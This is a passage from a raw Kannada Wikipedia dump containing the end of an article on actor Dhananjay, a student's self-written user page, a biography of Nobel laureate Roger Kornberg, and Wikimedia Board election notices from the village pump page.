ಅಭಿನಯಿಸಿದರು .ಜರ್ಮನಿಯಲ್ಲಿ ನಟನಾ ತರಬೇತಿ ಕಾರ್ಯಾಗಾರದಲ್ಲಿ ತರಬೇತಿ ಪಡೆದಿದ್ದಾರೆ . <ref>{{cite web | url=https://kannada.filmibeat.com/news/my-inspiration-comes-from-common-man-nature-says-actor-dhananjay-021061.html | title=ಜೆಸ್ಸಿ' ನಟ ಧನಂಜಯ್ ಗೆ ಸ್ಫೂರ್ತಿಯ ಸೆಲೆ ಯಾರು? | publisher=kannada.filmibeat.com 1 ಡಿಸೆಂಬರ್ 2018}}</ref> ==ಚಲನಚಿತ್ರ ವೃತ್ತಿಜೀವನ== ಧನಂಜಯ, ಮೈಸೂರು ರಂಗಾಯಣ ರಂಗಭೂಮಿಗೆ ಆಗಾಗ ಭೇಟಿನೀಡುತ್ತಿದ್ದರು , ಅವರು ಅಲ್ಲಿ ನಡೆಯುವ ನಾಟಕಗಳಲ್ಲಿ ಅನೇಕ ಸಾಮಾನ್ಯ ಪಾತ್ರಗಳಲ್ಲಿ ಅಭಿನಯಿಸಿದರು . ನಿರ್ದೇಶಕ ಗುರುಪ್ರಸಾದ್ ಅವರ ಅಭಿನಯ ಕೌಶಲ್ಯವನ್ನು ಗಮನಿಸಿ ಅವರ ಚಲನಚಿತ್ರ '''ಡೈರೆಕ್ಟರ್ಸ್ ಸ್ಪೆಷಲ್''' ಚಿತ್ರದಲ್ಲಿ ಅವರಿಗೆ ಪ್ರಮುಖ ಪಾತ್ರವನ್ನು ನೀಡಿದರು.ಈ ಚಲನಚಿತ್ರವು ಮೂರು ವರ್ಷಗಳ ತಯಾರಿಕೆಗೆ ತೆಗೆದುಕೊಂಡಿತು ಮತ್ತು ಅಂತಿಮವಾಗಿ 2013 ರಲ್ಲಿ ಬಾಕ್ಸ್ ಆಫೀಸ್ನಲ್ಲಿ ಮಿಶ್ರ ಮತ್ತು ಋಣಾತ್ಮಕ ಪ್ರತಿಕ್ರಿಯೆಯೊಂದಿಗೆ ಬಿಡುಗಡೆಯಾಯಿತು.ಆದಾಗ್ಯೂ ಅವರ ಅಭಿನಯವನ್ನು ಶ್ಲಾಘಿಸಲಾಯಿತು ಮತ್ತು ಅನೇಕ ಚಲನಚಿತ್ರ ತಯಾರಕರು ತಮ್ಮ ಚಿತ್ರಗಳಲ್ಲಿ ಪಾತ್ರಗಳಿಗಾಗಿ ಅವರನ್ನು ಸಂಪರ್ಕಿಸಿದರು.ನಂತರ ಅವರು ಎ. ಪಿ. ಅರ್ಜುನ್ ಅವರ ಚಲನಚಿತ್ರ ರಾಟೆ ಯಲ್ಲಿ  ಶೃತಿ ಹರಿಹರನ್ ಜೊತೆ ನಟಿಸಿದರು. ನಂತರ ಪ್ರೀಥಮ್ ಗುಬ್ಬಿಯವರ ಚಲನಚಿತ್ರ ಬಾಕ್ಸರ್ ಅವರಿಗೆ ವ್ಯಾಪಕ ಮೆಚ್ಚುಗೆಯನ್ನು ತಂದಿತು.  ನಂತರ 12 ನೇ ಶತಮಾನದ ಶರಣ [[ಅಲ್ಲಮ( ಚಲನಚಿತ್ರ)|ಅಲ್ಲಮ]] ಚಿತ್ರದಲ್ಲಿ ಅಭಿನಯಿಸಿದರು . ಶಿವರಾಜ್ಕುಮಾರ್ ಅಭಿನಯದ ಚಿತ್ರ [[ಟಗರು (ಚಲನಚಿತ್ರ)|ಟಗರು]] ನಲ್ಲಿ ಪ್ರಮುಖ ಖಳನಾಯಕನ ಪಾತ್ರವನ್ನು ಧನಂಜಯ ನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ, ಅವರು ಗುರುಪ್ರಸಾದ್ ರ ಚಿತ್ರ ಎರಡನೆ ಸಲ ಪೂರ್ಣಗೊಳಿಸಿದ್ದಾರೆ.ಮತ್ತು ಪನ್ನಾಗಾಭರಣ ರ ಚಿತ್ರ ಹ್ಯಾಪಿ ನ್ಯೂ ಇಯರ್ ಚಿತ್ರದಲ್ಲಿ ಅಭಿನಯಿಸುತ್ತಿದ್ದಾರೆ ==ಧನಂಜಯ್ ಅವರ ಅಭಿನಯದ ಚಲನಚಿತ್ರಗಳ ಪಟ್ಟಿ== {| class="wikitable sortable" |+ಕೀಲಿ | style="background:Pink;"| {{dagger|alt=Films that have not yet been released}} | ಇನ್ನೂ ಬಿಡುಗಡೆಯಾಗದ ಚಲನಚಿತ್ರಗಳನ್ನು ಸೂಚಿಸುತ್ತದೆ |} {| class="wikitable sortable" |- ! ವರ್ಷ !! ಶೀರ್ಷಿಕೆ !! ಪಾತ್ರ !ನಾಯಕ ನಟ!! ನಿರ್ದೇಶಕ !! ಭಾಷೆ !! ಟಿಪ್ಪಣಿಗಳು!! {{Tooltip|ಉಲ್ಲೇಖಗಳು|Reference(s)}} |- | ೨೦೨೧ | ''[[ರತ್ನನ್‌ ಪ್ರಪಂಚ (ಚಲನಚಿತ್ರ)]]'' | ರತ್ನಾಕರ |[[ಧನಂಜಯ್ (ನಟ)]] | ರೋಹಿತ್ ಪದಕಿ | [[ಕನ್ನಡ]] | ಈ ಚಿತ್ರ ಅಮೇಜಾನ್ ಪ್ರೈಂ ಓಟಿಟಿ ಮೂಲಕ ಬಿಡುಗಡೆಯಾಗಿದೆ. |<ref>[https://kannada.asianetnews.com/sandalwood/rathnan-prapancha-kannada-movie-to-be-released-on-amazon-prime-dpl-r0jhr1 ರತ್ನನ್ ಪ್ರಪಂಚದ ಬಗ್ಗೆ ಏಷಿಯಾನೆಟ್ ತಾಣದಲ್ಲಿನ ಮಾಹಿತಿ] </ref> |} Sandeep gowda ==ಉಲ್ಲೇಖಗಳು== {{reflist}} [[ವರ್ಗ:ಚಲನಚಿತ್ರ ನಟರು]] ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== * {{IMDb name|id=5744564}} {{ಕನ್ನಡ ಚಿತ್ರರಂಗದ ನಾಯಕರು}} ivjl5g5itujxv8yvxcmh12n98s5dyt9 ಸದಸ್ಯ:1810157cicilyajencys 2 108901 1116455 898633 2022-08-23T13:01:53Z CommonsDelinker 768 Cicijen.jpg ಹೆಸರಿನ ಫೈಲು Fitindiaರವರಿಂದ ಕಾಮನ್ಸ್‍ನಲ್ಲಿ ಅಳಿಸಲ್ಪಟ್ಟಿರುವುದರಿಂದ ಅದನ್ನು ಪುಟದಿಂದ ತಗೆದುಹಾಕಲಾಗಿದೆ. wikitext text/x-wiki ನನ್ನ ವೈಯಕ್ತಿಕ ಜೀವನ {{Infobox person | name = ಸಿಸಿಲಿಯಾ ಜಾನ್ಸಿ ಎಸ್ | birth_date = ೨೦/೦೧/೨೦೦೧ | birth_place =ಚೆಲುವಾಂಬ ಹಾಸ್ಪಿಟಲ್ ಮೈಸೂರು , ಭಾರತ. | residence =೩ನೇ ಮೇನ್ ೬ನೇ ಕ್ರಾಸ್ ಜಕ್ಕಸಂದ್ರ ಕೋರಮಂಗಲ ಬೆಂಗಳೂರು | education =ಬಿಕಾಂಮ್ ಕ್ರೈಸ್ಟ್ ಯುನಿವರ್ಸಿಟಿ. | parents = ಸಗಾಯರಾಜ್, ಮೇರಿ }} ''' ಹುಟ್ಟು ಮತ್ತು ಬಾಲ್ಯ ''' ನನ್ನ ಹೆಸರು ಸಿಸಿಲಿಯಾ ಜೆಸ್ಸಿ ನಾನು ೨೦-ಜನವರಿ -೨೦೦೧ ರಂದು ಜನಿಸಿದೆ ನನ್ನ ಜನನ [[ಮೈಸೂರು ಜಿಲ್ಲೆ ]]ಯ ಜೆಎಸ್ಎಸ್ಟ ಹಾಸ್ಪಿಟಲ್ ನಲ್ಲಿ ಆಯಿತು ನನ್ನ ತಂದೆಯ ಹೆಸರು ಸಗಾಯರಾಜ್ ತಾಯಿಯ ಹೆಸರು ಮೇರಿ ನನ್ನ ಕಿರಿಯ ಸಹೋದರಿಯ ಹೆಸರು ಆನೆಟ್ ಲಿಡಿಯಾ ಅವಳನ್ನು ನಾನು ಮುದ್ದಾಗಿ ಕುಟ್ಟಿ ಬೇಬಿ ಎಂದು ಕರೆಯುತ್ತೇನೆ . ನಾವು [[ಬೆಂಗಳೂರು ]] ಜಿಲ್ಲೆಯಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದೇವೆ.ನನ್ನ ತಂದೆ ಎಂಬ್ರಾಯಡರಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದರೆ ತಾಯಿ ಗೃಹಿಣಿ ನಾನೊಂದು ಸರಾಸರಿ ಕುಟುಂಬದಲ್ಲಿ ಜನಿಸಿದರೂ ಬಹಳ ಸಂತೋಷವಾಗಿದ್ದೇನೆ ನಾನು ಚೆನ್ನಾಗಿ ಓದಿ ನನ್ನ ಗುರಿ ಮುಟ್ಟಬೇಕೆಂಬ ಛಲದೊಂದಿಗೆ ಬಾಳುತ್ತಿದ್ದೇನೆ .ನನಗೆ ಹೆಚ್ಚು ಜನ ಸ್ನೇಹಿತರಿ ರಲಿಲ್ಲ ಆದರೆ ನನ್ನೊಂದಿಗಿದ್ದ ಆ ನಾಲ್ವರು ನನಗೆ ಬಹಳ ನೆಚ್ಚಿನ ಸ್ನೇಹಿತರಾಗಿದ್ದರು ಅವರು ಯಾರೆಂದರೆ ಫ್ರಾನ್ಸಿನ ಜೋಶ್ವಾ, ಸಂಜಯ್ ಮತ್ತು ಪ್ರಶಾಂತ್. ನಾನು ಮತ್ತು ನನ್ನ ತಾಯಿ ಸ್ನೇಹಿತರಂತೆ ಬೆರೆಯುತ್ತೇವೆ ದಿನವಿಡೀ ನಡೆದ ವಿಷಯಗಳನ್ನು ಚರ್ಚಿಸುತ್ತಾ ,ಮಾತನಾಡುತ್ತಾ ನಾನು ಕಾಲ ಕಳೆಯುತ್ತೇನೆ. ಎಲ್ಲರಿಗಿಂತ ಮಿಗಿಲಾಗಿ ನನಗೆ ನನ್ನ ತಾಯಿಯ ಮೇಲೆ ಅಪಾರವಾದ ಗೌರವ ಹಾಗೂ ಪ್ರೀತಿ ''' ಶಿಕ್ಷಣ ''' ನನ್ನ ಪ್ರಾಥಮಿಕ ಹಾಗೂ ಹೈಸ್ಕೂಲ್ ಶಿಕ್ಷಣವನ್ನು ಪಡೆದಿದ್ದು ರಿಚ್ಚೆಸ್ಟ್ ಬ್ರೈಟ್ ಶಾಲೆಯಲ್ಲ ನಾನು ಬಹಳ ಚುರುಕಾದ ಹುಡುಗಿ ಆಗಿದ್ದರಿಂದ ನಮ್ಮ ಪ್ರಾಂಶುಪಾಲರು ನನ್ನನ್ನು ಎಲ್ಕೆಜಿ ಬೇಡವೆಂದು ಯುಕೆಜಿಗೆ ಸೇರಿಸಿಕೊಂಡರು ನಾನು ಯುಕೆಜಿಯಿಂದ ಹತ್ತನೆಯ ತರಗತಿಯವರೆಗೆ ಯಾರಿಗೂ ಪ್ರಥಮ ಸ್ಥಾನವನ್ನು ಬಿಟ್ಟು ಕೊಡದೆ ನಾನೇ ಪ್ರಥಮ ಸ್ಥಾನವನ್ನು ಪಡೆಯುತ್ತಿದ್ದೆ ಆದ ಕಾರಣ ನನ್ನ ಶಾಲೆಯಲ್ಲಿದ್ದ ಎಲ್ಲಾ ಶಿಕ್ಷಕರಿಗೂ ಪ್ರಾಂಶುಪಾಲರಿಗೂ ಹಾಗೂ ನಮ್ಮ ಪಿಟಿ ಮಾಸ್ಟರ್ಗೆ ನನ್ನನ್ನು ಕಂಡರೆ ಬಹಳ ಇಷ್ಟ ನಾನು ಟೆಂಟ್ ಎಕ್ಸಾಮ್ನಲ್ಲಿ ಮೈಗ್ರೇನ್ ಪ್ರಾಬ್ಲಂ ನಿಂದ ತುಂಬಾ ಕಷ್ಟಪಟ್ಟೆ ಆದರೂ ನಾನು ಕಷ್ಟಪಟ್ಟು ಓದಿನಾನು ಹತ್ತನೆಯ ತರಗತಿಯಲ್ಲಿ ತೊಂಬತ್ತೈದು ಪರ್ಸೆಂಟ್ ಗಳಿಸಿ ನಮ್ಮ ಶಾಲೆಗೆ ಬಹಳ ಒಳ್ಳೆಯ ಹೆಸರನ್ನು ತಂದು ಕೊಟ್ಟೇನು ಮುಂದೆ ನನ್ನ ಪಿಯು ಶಿಕ್ಷಣವೂ ಸಂತ ಫ್ರಾನ್ಸಿಸ್ ಕಾಲೇಜಿನಲ್ಲಿ ನಡೆಯಿತು ಆ ಕಾಲೇಜಿನಲ್ಲಿ ನಾನು ಬಹಳ ಸ್ನೇಹಿತರನ್ನು ಗಳಿಸಿಕೊಂಡೆನು ಅಲ್ಲಿ ನನ್ನ ಎಕನಾಮಿಕ್ಸ್ ಶಿಕ್ಷಕಿಯಾದ ಅರ್ಪಿತಾ ಮೇಡಂ ನನ್ನ ನೆಚ್ಚಿನ ಶಿಕ್ಷಕಿಯಾಗಿದ್ದರು ನಾನು ಅವರ ನೆಚ್ಚಿನ ವಿದ್ಯಾರ್ಥಿನಿ ಆಗಿದ್ದೇನು ನನ್ನ ದ್ವಿತೀಯ ಹಾಗೂ ಪ್ರಥಮ ಪಿಯುಸಿಯಲ್ಲಿಯೂ ನಾನು ಮೊದಲ ಅಂಕವನ್ನು ಪಡೆದು ನನ್ನ ತಂದೆ ತಾಯಿಯರಿಗೆ ಗೌರವ ಸಲ್ಲಿಸಿದ್ದೇನೆ ನನಗೆ [[ಕ್ರೈಸ್ಟ್ ಯೂನಿವರ್ಸಿಟಿ ]]ಯಲ್ಲಿಓದಬೇಕೆಂಬುದು ಒಂದು ಕನಸೇ ಆಗಿತ್ತು ಆದ್ದರಿಂದ ನಾನು ನನ್ನ ಬಿಕಾಂ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕ್ರೈಸ್ಟ್ ಕಾಲೇಜಿನಲ್ಲಿ ಮುಂದುವರಿಸದೇ ಇದರಲ್ಲಿ ಸ್ವಾರಸ್ಯವೇನೆಂದರೆ ನನ್ನ ಗೆಳತಿಯ ಸಹ ನನ್ನ ಜೊತೆಯಲ್ಲಿಯೇ ಅರ್ಜಿ ಬರೆದು ಹಾಕಿದ್ದಳು ಇಬ್ಬರಿಗೂ ಒಂದೇ ತರಗತಿಯಲ್ಲಿ ಆಸನ ಸಿಕ್ಕಿತ್ತು ಈ ವಿಷಯ ಕೇಳಿದ ಕೂಡಲೇ ಇಬ್ಬರಿಗೂ ಬಹಳ ಸಂತೋಷವಾಯಿತು ಮೊದಲು ಏನು ಮಾಡುತ್ತೇವೆ ಹೊಸ ಕಾಲೇಜು ಎಂದು ಭಯವಾಯಿತು ಕಾಲ ಕಳೆದ ನಂತರ ನಾವು ಅದಕ್ಕೆ ತಕ್ಕಂತೆ ಹೊಂದಿಕೊಂಡು ಹೋದೆವು.ನನಗೆ ಚಾರ್ಟೆಡ್ ಅಕೌಂಟೆಂಟ್ ಆಗಬೇಕೆಂಬ ಆಸೆಯಿದೆ ನನ್ನ ಈ ಗುರಿಯನ್ನು ಸಾಧಿಸಲು ನಾನು ಬೇಕಾದಷ್ಟು ಪ್ರಯತ್ನಗಳನ್ನ ಪಡುತ್ತಿದ್ದೇನೆ. ''' ಹವ್ಯಾಸ ''' ನನಗೆ ಹಾಡುವುದು ಹಾಗೂ ನಟಿಸುವುದೆಂದರೆ ಬಹಳ ಇಷ್ಟ.ನಾನು ಬೆಳಗ್ಗೆ ಆರು ಗಂಟೆಗೆ ಎದ್ದು ದೇವರನ್ನು ಪ್ರಾರ್ಥಿಸಿ ನನ್ನ ದಿನವನ್ನು ತೊಡಗುತ್ತೇನೆ ಆದ ನಂತರ ನಾನು ಕಾಲೇಜಿಗೆ ಹೋಗುತ್ತೇನೆ ಕಾಲೇಜಿನಿಂದ ಬಂದ ನಂತರ ಸ್ವಲ್ಪ ಸಮಯ ಟೀವಿ ನೋಡುತ್ತೇನೆ ನಂತರ ಸ್ವಲ್ಪ ಸಮಯ ಓದುತ್ತೇನೆ. ವಿಲಿಯಂ ಶೇಕ್ಸ್ಪಿಯರ್ರವರು ಬರೆದಿರುವ ಕವನವೆಂದರೆ ನನಗೆ ಬಹಳ ಇಷ್ಟ ಸಮಯವಿರುವಾಗ ನಾನು ಅದನ್ನು ಓದುತ್ತೇನೆ ನನಗೆ ಊಟ ಮಾಡುವುದು ಹಾಗೂ ನಿದ್ರಿಸುವುದೆಂದರೆ ಬಹಳ ಮುಖ್ಯ ಹಾಗೂ ಸಂತೋಷದ ವಿಷಯವಾಗಿತ್ತು ಆದ್ದರಿಂದ ನಾನು ಬಹುಸಮಯ ಅದರಲ್ಲಿಯೇ ಕಳೆಯುತ್ತಿದ್ದೆ. ನಿಮ್ಮ ಭವಿಷ್ಯವನ್ನು ನೀವು ಬದಲಾಯಿಸಲು ಸಾಧ್ಯವಿಲ್ಲ. ಆದರೆ ಹವ್ಯಾಸಗಳನ್ನು ಬದಲಾಯಿಸಲು ಸಾಧ್ಯವಿದೆ. ನಿಮ್ಮ ಹವ್ಯಾಸಗಳು ಬದಲಾದಲ್ಲಿ ನಿಮ್ಮ ಭವಿಷ್ಯವೂ ಬದಲಾಗುತ್ತದೆ,ಎಂಬ ಅಬ್ದುಲ್ ಕಲಾಂ ಅವರ ಮಾತನ್ನು ನನ್ನ ಜೀವನದಲ್ಲಿ ನಾನು ಅಳವಡಿಸಿಕೊಂಡು ನಡೆಯುತ್ತಿದ್ದೇನೆ. 2xv2fz3om1esydk3fm8yvf6fa2nrek1 ರೋಜರ್ ಡಿ.ಕಾನ್ಬರ್ಗ್ 0 110203 1116427 1058010 2022-08-23T12:19:04Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox scientist | name = Roger Kornberg|honorific_suffix=[[Fellow of the Royal Society|ForMemRS]]<ref name=formemrs>{{cite web |author=Anon |year=2009 |url=https://collections.royalsociety.org/DServe.exe?dsqIni=Dserve.ini&dsqApp=Archive&dsqDb=Catalog&dsqCmd=show.tcl&dsqSearch=(RefNo==%27EC%2F2009%2F48%27) |title=Certificate of Election EC/2009/48: Roger D. Kornberg |publisher=[[Royal Society]] |archivedate=2017-03-21 |archiveurl=https://web.archive.org/web/20170321145843/https://collections.royalsociety.org/DServe.exe?dsqIni=Dserve.ini&dsqApp=Archive&dsqDb=Catalog&dsqCmd=show.tcl&dsqSearch=(RefNo==%27EC%2F2009%2F48%27) |location=London |access-date=2018-12-27 |url-status=dead }}</ref>| image = Roger Kornberg (Nobel Medicine or Physiology 2006) in Stockholm, June 2016.jpg | birth_date = {{Birth date and age|1947|4|24}} | birth_place = [[St. Louis, Missouri]], US | nationality = American | death_date = | death_place = | field = [[Structural biology]] | work_institution = {{Plainlist| * [[Stanford University]] * [[Harvard Medical School]] * [[Laboratory of Molecular Biology]]}} | alma_mater = {{Plainlist| * [[Harvard University]] (BS) * [[Stanford University]] (PhD)}} | thesis_title = The Diffusion of Phospholipids in Membranes | thesis_year = 1972 | thesis_url = http://search.proquest.com/docview/302673759 | doctoral_advisor = [[Harden M. McConnell]]<ref name=phd>{{cite thesis |degree=PhD |first=Roger David |last=Kornberg |title=The Diffusion of Phospholipids in Membranes |publisher=Stanford University |date=1972 |url=http://search.proquest.com/docview/302673759 |oclc=38611465}}</ref> | known_for = Transmission of genetic information from [[DNA]] to [[RNA]] | awards = {{Plainlist| * [[EMBO Member]] (2003)<ref name=membo>{{cite web|url=http://people.embo.org/profile/roger-d-kornberg|website=people.embo.org|title=Roger D. Kornberg}}</ref> * [[Nobel Prize in Chemistry]] (2006) * [[Louisa Gross Horwitz Prize]] (2006) * [[Alfred P. Sloan, Jr. Prize]] (2005) * [[Gairdner Foundation International Award|Gairdner Award]] (2000) * [[Harvey Prize]] (1997) * [[Ciba-Drew Award]] (1990)}} | religion = | signature = RogerDKornberg.jpg | website = {{URL|http://kornberg.stanford.edu}} | spouse = Yahli Lorch | children = three{{Citation needed|date=August 2015}} }} ರೋಜರ್ ಡಿ.ಕಾನ್ಬರ್ಗ್ ಅಮೆರಿಕಾದ ಜೈವಿಕತಜ್ಞ. =ಬಾಲ್ಯ ಹಾಗೂ ವಿದ್ಯಾಭ್ಯಾಸ= ಕಾರ್ನ್ಬರ್ಗ್ [[ಏಪ್ರಿಲ್]] ೨೪ ,೧೯೪೭ರಂದು [[ಅಮೆರಿಕಾ]]ದ ಮಿಸೌರಿಯಲ್ಲಿ ಜನಿಸಿದರು. ಇವರ [[ತಂದೆ]] ಆರ್ಫರ್ ಕಾರ್ನ್ಬರ್ಗ್. ಅವರು ತಮ್ಮ ಬ್ಯಾಚುಲರ್ಸ್ ಡಿಗ್ರಿಯನ್ನು ಹಾರ್ವರ್ಡ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಲ್ಲಿ ೧೯೬೭ರಲ್ಲಿ ಪಡೆದರು. ೧೯೭೨ರಲ್ಲಿ ಕೆಮಿಕಲ್ ಫಿಸಿಕ್ಸಿನಲ್ಲಿ ಪಿಎಚ್.ಡಿ ಪಡೆದರು.<ref>https://www.nobelprize.org/prizes/chemistry/2006/kornberg/biographical/</ref>. =ವೃತ್ತಿ ಜೀವನ= ೧೯೭೬ರಲ್ಲಿ ಇಂಗ್ಲೆಂಡಿನ ಕೇಂಬ್ರಿಡ್ಜ್ನಲ್ಲಿರುವ ಮಾಲಿಕ್ಯೂಲರ್ ಬಯೋಲಜಿ ಪ್ರಯೋಗಾಲಯದಲ್ಲಿ ಮತ್ತು ಹಾರ್ವರ್ಡ್ ಮೆಡಿಕಲ್ ಸ್ಕೂಲಿನಲ್ಲಿ ಜೈವಿಕ[[ರಸಾಯನಶಾಸ್ತ್ರ]]ದ ಸಹಾಯಕ ಪ್ರೊಫೆಸರ್ ಆಗಿ ಕೆಲಸ ಮಾಡಿದರು. ೧೯೭೮ರಲ್ಲಿ ಸ್ಟ್ಯಾನ್ಫೋರ್ಡ್ ವೈದ್ಯಕೀಯ [[ಶಾಲೆ]]ಯಲ್ಲಿ ಸ್ಟ್ರಕ್ಚರಲ್ ಬಯೋಲಜಿಯ ಪ್ರೊಫೆಸರ್ ಆದರು. <ref>https://www.britannica.com/biography/Roger-D-Kornberg</ref>. =ವೈಯಕ್ತಿಕ ಜೀವನ= ಕಾರ್ನ್ಬರ್ಗ್ ಅವರು ಜೈವಿಕತಜ್ಞೆಯಾಗಿದ್ದ ಯಾಹಲಿ ಲಾರ್ಚ್ ಅವರನ್ನು [[ವಿವಾಹ]]ವಾದರು. =ಸಂಶೋಧನೆಗಳು= ಕಾರ್ನ್ಬರ್ಗ್ ಅವರ ಸಂಶೋಧನಾ ಗುಂಪು ಯೂಕ್ಯಾರಿಯೋಟಿಕ್ ಲಿಪ್ಯಂತರದ ಯಾಂತ್ರಿಕ ಮತ್ತು ನಿಯಂತ್ರಣಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಹಲವಾರು ಮೂಲಭೂತ ಸಂಶೋಧನೆಗಳನ್ನು ಮಾಡಿದ್ದಾರೆ. ೧೯೭೦ರ ದಶಕದಲ್ಲಿ ಆರನ್ ಕ್ಲುಗ್ ಮತ್ತು ಫ್ರಾನ್ಸಿಸ್ ಕ್ರಿಕ್ ಅವರೊಂದಿಗೆ ಎಮ್.ಆರ್.ಸಿ.ಯಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದಾಗ ಕಾರ್ನ್ಬರ್ಗ್ ಅವರು ನ್ಯೂಕ್ಲಿಯೋಸೋಮ್ ಅನ್ನು ಡಿ.ಎನ್.ಎ ಪ್ಯಾಕೇಜಿಂಗ್ನ ಮೂಲ [[ಪ್ರೋಟೀನ್]] ಸಂಕೀರ್ಣ ಎಂದು ಕಂಡುಹಿಡಿದರು.<ref>{{Cite web |url=http://www.cfhu.org/prof-roger-d-kornberg-nobel-laureate-in-chemistry-2006 |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2018-12-25 |archive-date=2017-02-13 |archive-url=https://web.archive.org/web/20170213235620/http://www.cfhu.org/prof-roger-d-kornberg-nobel-laureate-in-chemistry-2006 |url-status=dead }}</ref> =ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ಗೌರವಗಳು= *ಎಲಿ ಲಿಲ್ಲಿ ಪ್ರಶಸ್ತಿ-೧೯೮೧. *ಪಸಾನೋ ಫೌಂಡೇಷನ್ನಿನ ಪಸಾನೋ ಪ್ರಶಸ್ತಿ-೧೯೮೨. *ಸಿಬಾ-ಡ್ರ್ಯೂ ಪ್ರಶಸ್ತಿ-೧೯೯೦. *ಹಾರ್ವೆ ಪುರಸ್ಕಾರ-೧೯೯೭. *ಗೈರ್ಡನರ್ ಫೌಂಡೇಷನ್ ಇಂಟರ್ನಾಷನಲ್ ಪ್ರಶಸ್ತಿ-೨೦೦೦. *ಹೋಪ್ ಸಿಯ್ಲರ್ ಪ್ರಶಸ್ತಿ,ವೆಲ್ಚ್ ಪ್ರಶಸ್ತಿ-೨೦೦೧. *ಎಎಸ್ಬಿಎಮ್ಬಿ ಮೆರ್ಕ್ ಪ್ರಶಸ್ತಿ-೨೦೦೨. *ಇಎಮ್ಬಿಒದ ಸದಸ್ಯತ್ವ ಪಡೆದರು-೨೦೦೩. *ಜನರಲ್ ಮೋಟರ್ಸ್ [[ಕ್ಯಾನ್ಸರ್]] ರಿಸರ್ಚ್ ಫೌಂಡೇಷನ್ನಿನ ಆಲ್ಫ್ರೆಡ್.ಪಿ.ಸ್ಲೋನ್ ಜೂನಿಯರ್ ಬಹುಮಾನ-೨೦೦೫. *ಪಿಟ್ಟ್ಬರ್ಗ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಡಿಕ್ಸನ್ ಪ್ರಶಸ್ತಿ,[[ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ]]-೨೦೦೬. *ರಾಯಲ್ ಸೊಸೈಟಿಯ ವಿದೇಶಿ ಸದಸ್ಯರಾಗಿ ಚುನಾಯಿತರಾದರು-೨೦೦೯. =ಉಲ್ಲೇಖಗಳು= 4ohgzn4o9tsai6q7bt8j7ey6fhy7dhb ವಿಕಿಪೀಡಿಯ:ಅರಳಿ ಕಟ್ಟೆ 4 112271 1116578 1114595 2022-08-24T06:39:21Z MediaWiki message delivery 17558 /* WikiConference India 2023: Initial conversations */ ಹೊಸ ವಿಭಾಗ wikitext text/x-wiki [[ವರ್ಗ:ವಿಕಿಪೀಡಿಯ ಅರಳಿಕಟ್ಟೆ]] {{Shortcut|WP:VP}} {{ಅರಳಿಕಟ್ಟೆ-nav}} {{ಸೂಚನಾಫಲಕ-ಅರಳಿಕಟ್ಟೆ}} __NEWSECTIONLINK__ * '''en:''' Requests for the [[m:bot|bot]] flag should be made on [[WP:Newbotrequest|this page]]. This wiki uses the [[m:bot policy|standard bot policy]], and allows [[m:bot policy#Global_bots|global bots]] and [[m:bot policy#Automatic_approval|automatic approval of certain types of bots]]. Other bots should apply below. {{ಆರ್ಕೈವ್-ಅರಳಿಕಟ್ಟೆ}} {{clear}} == Board of Trustees - Affiliate Voting Results == :''[[m:Special:MyLanguage/Wikimedia Foundation elections/2022/Announcement/Announcing the six candidates for the 2022 Board of Trustees election| You can find this message translated into additional languages on Meta-wiki.]]'' :''<div class="plainlinks">[[m:Special:MyLanguage/Wikimedia Foundation elections/2022/Announcement/Announcing the six candidates for the 2022 Board of Trustees election|{{int:interlanguage-link-mul}}]] • [https://meta.wikimedia.org/w/index.php?title=Special:Translate&group=page-{{urlencode:Wikimedia Foundation elections/2022/Announcement/Announcing the six candidates for the 2022 Board of Trustees election}}&language=&action=page&filter= {{int:please-translate}}]</div>'' Dear community members, '''The Affiliate voting process has concluded.''' Representatives from each Affiliate organization learned about the candidates by reading candidates’ statements, reviewing candidates’ answers to questions, and considering the candidates’ ratings provided by the Analysis Committee. The shortlisted 2022 Board of Trustees candidates are: * Tobechukwu Precious Friday ([[User:Tochiprecious|Tochiprecious]]) * Farah Jack Mustaklem ([[User:Fjmustak|Fjmustak]]) * Shani Evenstein Sigalov ([[User:Esh77|Esh77]]) * Kunal Mehta ([[User:Legoktm|Legoktm]]) * Michał Buczyński ([[User:Aegis Maelstrom|Aegis Maelstrom]]) * Mike Peel ([[User:Mike Peel|Mike Peel]]) See more information about the [[m:Special:MyLanguage/Wikimedia Foundation elections/2022/Results|Results]] and [[m:Special:MyLanguage/Wikimedia Foundation elections/2022/Stats|Statistics]] of this election. Please take a moment to appreciate the Affiliate representatives and Analysis Committee members for taking part in this process and helping to grow the Board of Trustees in capacity and diversity. Thank you for your participation. '''The next part of the Board election process is the community voting period.''' View the election timeline [[m:Special:MyLanguage/Wikimedia Foundation elections/2022#Timeline| here]]. To prepare for the community voting period, there are several things community members can engage with, in the following ways: * [[m:Special:MyLanguage/Wikimedia Foundation elections/2022/Candidates|Read candidates’ statements]] and read the candidates’ answers to the questions posed by the Affiliate Representatives. * [[m:Special:MyLanguage/Wikimedia_Foundation_elections/2022/Community_Voting/Questions_for_Candidates|Propose and select the 6 questions for candidates to answer during their video Q&A]]. * See the [[m:Special:MyLanguage/Wikimedia Foundation elections/2022/Candidates|Analysis Committee’s ratings of candidates on each candidate’s statement]]. * [[m:Special:MyLanguage/Wikimedia Foundation elections/2022/Community Voting/Election Compass|Propose statements for the Election Compass]] voters can use to find which candidates best fit their principles. * Encourage others in your community to take part in the election. Regards, Movement Strategy and Governance ''This message was sent on behalf of the Board Selection Task Force and the Elections Committee'' [[ಸದಸ್ಯ:CSinha (WMF)|CSinha (WMF)]] ([[ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:CSinha (WMF)|ಚರ್ಚೆ]]) ೦೮:೫೫, ೨೦ ಜುಲೈ ೨೦೨೨ (UTC) == Movement Strategy and Governance News – Issue 7 == <section begin="msg-newsletter"/> <div style = "line-height: 1.2"> <span 